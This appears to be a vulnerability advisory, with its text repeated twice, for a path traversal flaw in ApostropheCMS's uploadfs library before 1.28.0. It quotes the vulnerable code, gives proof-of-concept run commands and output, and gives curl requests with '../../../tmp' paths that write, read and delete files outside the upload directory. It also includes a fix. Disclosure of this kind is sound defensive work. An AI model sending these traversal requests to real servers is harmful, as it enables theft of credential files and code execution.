CVE-2026-113651

ApostropheCMS is an open-source Node.js content management system, and uploadfs is its file storage library. Prior to uploadfs 1.28.0, attacker-controlled paths that reach the local backend can contain parent-directory segments that escape the configured upload directory and affect file reads, writes, and deletion on the host filesystem. Exploitability depends on an application exposing the relevant uploadfs operations to untrusted path. This issue is fixed in uploadfs 1.28.0.

ApostropheCMS is an open-source Node.js content management system, and uploadfs is its file storage library. Prior to uploadfs 1.28.0, attacker-controlled paths that reach the local backend can contain parent-directory segments that escape the configured upload directory and affect file reads, writes, and deletion on the host filesystem. Exploitability depends on an application exposing the relevant uploadfs operations to untrusted path. This issue is fixed in uploadfs 1.28.0.

Summary

The uploadfs library's local storage backend does not validate or sanitize user-supplied paths. The prefixPath() helper only strips double slashes (//) and the backend performs direct string concatenation (uploadsPath + path). An attacker can inject ../ sequences to escape the intended uploads directory, resulting in arbitrary file read, write, and delete on the host filesystem.

Details

Root Cause

packages/uploadfs/uploadfs.js:652-655

https://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/uploadfs.js#L652-L655

function prefixPath(path) {
    // Resolve any double // that results from the prefix
    return (self.prefix + path).replace(/\/\//g, '/');
}

packages/uploadfs/lib/storage/local.js

https://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/lib/storage/local.js#L92-L95 https://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/lib/storage/local.js#L102-L104 https://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/lib/storage/local.js#L106-L108

copyIn: function(localPath, path, options, callback) {
    const uploadPath = uploadsPath + path;  // [VULNERABLE]
    return copyFile(localPath, uploadPath, callback);
},
streamOut: function(path, options) {
    return fs.createReadStream(uploadsPath + path);  // [VULNERABLE]
},
remove: function(path, callback) {
    const uploadPath = uploadsPath + path;  // [VULNERABLE]
    fs.unlink(uploadPath, callback);

• prefixPath() does not normalize paths or reject ../.
• The local backend concatenates the path directly into the filesystem call.
• Node.js resolves /app/uploads/../../../tmp/pwned.txt → /tmp/pwned.txt.

Proof of Concept (PoC)

Here is the poc files https://drive.proton.me/urls/AKY4V5S0JR#Vw6XJdVCZafk

Build and run

docker load < apostrophe-uploadfs-poc.tar
docker run -d -p 3000:3000 --name uploadfs-poc apostrophe-uploadfs-poc
python3 exploit.py

Expected output

[UPLOAD] Status: 200 | Body: Uploaded to ../../../tmp/pwned.txt
[READ]
Status: 200| Body: You have been pwned!
[+] Vulnerability confirmed: arbitrary file write/read/delete via path traversal.

<img width="885" height="171" alt="Screenshot 2026-07-22 at 08 57 46" src="https://github.com/user-attachments/assets/1b3ab5d5-43e4-4a81-8d19-c2270da072ae" />

Manual reproduction

# Write outside uploads directory
curl -X POST http://localhost:3000/upload \
  -F "path=../../../tmp/backdoor.txt" \
  -F "file=@-;filename=backdoor.txt" <<< "malicious content"

# Read it back
curl "http://localhost:3000/read?path=../../../tmp/backdoor.txt"

# Delete it
curl -X DELETE "http://localhost:3000/remove?path=../../../tmp/backdoor.txt"

<img width="1004" height="114" alt="Screenshot 2026-07-22 at 08 58 36" src="https://github.com/user-attachments/assets/26b59a98-1834-4f00-8e18-c869812ddd58" />

Impact

| Capability | Risk | |------------|------| | Arbitrary File Write | Write to /etc/cron.d/, .ssh/authorized_keys, or webroot files → Remote Code Execution | | Arbitrary File Read | Exfiltrate /etc/shadow, application configs, database credentials | | Arbitrary File Delete | Destroy system or application files → Denial of Service |

Remediation

Add path containment validation inside uploadfs (and every storage backend) before any filesystem operation:

const path = require('path');
function safePath(base, target) {
  const resolved = path.resolve(base, target);
  if (!resolved.startsWith(path.resolve(base) + path.sep)) {
    throw new Error('Path traversal blocked: target is outside the intended directory');
  }
  return resolved;
}

ApostropheCMS is an open-source Node.js content management system, and uploadfs is its file storage library. Prior to uploadfs 1.28.0, attacker-controlled paths that reach the local backend can contain parent-directory segments that escape the configured upload directory and affect file reads, writes, and deletion on the host filesystem. Exploitability depends on an application exposing the relevant uploadfs operations to untrusted path. This issue is fixed in uploadfs 1.28.0.

ApostropheCMS is an open-source Node.js content management system, and uploadfs is its file storage library. Prior to uploadfs 1.28.0, attacker-controlled paths that reach the local backend can contain parent-directory segments that escape the configured upload directory and affect file reads, writes, and deletion on the host filesystem. Exploitability depends on an application exposing the relevant uploadfs operations to untrusted path. This issue is fixed in uploadfs 1.28.0.

Summary

The uploadfs library's local storage backend does not validate or sanitize user-supplied paths. The prefixPath() helper only strips double slashes (//) and the backend performs direct string concatenation (uploadsPath + path). An attacker can inject ../ sequences to escape the intended uploads directory, resulting in arbitrary file read, write, and delete on the host filesystem.

Details

Root Cause

packages/uploadfs/uploadfs.js:652-655

https://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/uploadfs.js#L652-L655

function prefixPath(path) {
    // Resolve any double // that results from the prefix
    return (self.prefix + path).replace(/\/\//g, '/');
}

packages/uploadfs/lib/storage/local.js

https://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/lib/storage/local.js#L92-L95 https://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/lib/storage/local.js#L102-L104 https://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/lib/storage/local.js#L106-L108

copyIn: function(localPath, path, options, callback) {
    const uploadPath = uploadsPath + path;  // [VULNERABLE]
    return copyFile(localPath, uploadPath, callback);
},
streamOut: function(path, options) {
    return fs.createReadStream(uploadsPath + path);  // [VULNERABLE]
},
remove: function(path, callback) {
    const uploadPath = uploadsPath + path;  // [VULNERABLE]
    fs.unlink(uploadPath, callback);

• prefixPath() does not normalize paths or reject ../.
• The local backend concatenates the path directly into the filesystem call.
• Node.js resolves /app/uploads/../../../tmp/pwned.txt → /tmp/pwned.txt.

Proof of Concept (PoC)

Here is the poc files https://drive.proton.me/urls/AKY4V5S0JR#Vw6XJdVCZafk

Build and run

docker load < apostrophe-uploadfs-poc.tar
docker run -d -p 3000:3000 --name uploadfs-poc apostrophe-uploadfs-poc
python3 exploit.py

Expected output

[UPLOAD] Status: 200 | Body: Uploaded to ../../../tmp/pwned.txt
[READ]
Status: 200| Body: You have been pwned!
[+] Vulnerability confirmed: arbitrary file write/read/delete via path traversal.

<img width="885" height="171" alt="Screenshot 2026-07-22 at 08 57 46" src="https://github.com/user-attachments/assets/1b3ab5d5-43e4-4a81-8d19-c2270da072ae" />

Manual reproduction

# Write outside uploads directory
curl -X POST http://localhost:3000/upload \
  -F "path=../../../tmp/backdoor.txt" \
  -F "file=@-;filename=backdoor.txt" <<< "malicious content"

# Read it back
curl "http://localhost:3000/read?path=../../../tmp/backdoor.txt"

# Delete it
curl -X DELETE "http://localhost:3000/remove?path=../../../tmp/backdoor.txt"

<img width="1004" height="114" alt="Screenshot 2026-07-22 at 08 58 36" src="https://github.com/user-attachments/assets/26b59a98-1834-4f00-8e18-c869812ddd58" />

Impact

| Capability | Risk | |------------|------| | Arbitrary File Write | Write to /etc/cron.d/, .ssh/authorized_keys, or webroot files → Remote Code Execution | | Arbitrary File Read | Exfiltrate /etc/shadow, application configs, database credentials | | Arbitrary File Delete | Destroy system or application files → Denial of Service |

Remediation

Add path containment validation inside uploadfs (and every storage backend) before any filesystem operation:

const path = require('path');
function safePath(base, target) {
  const resolved = path.resolve(base, target);
  if (!resolved.startsWith(path.resolve(base) + path.sep)) {
    throw new Error('Path traversal blocked: target is outside the intended directory');
  }
  return resolved;
}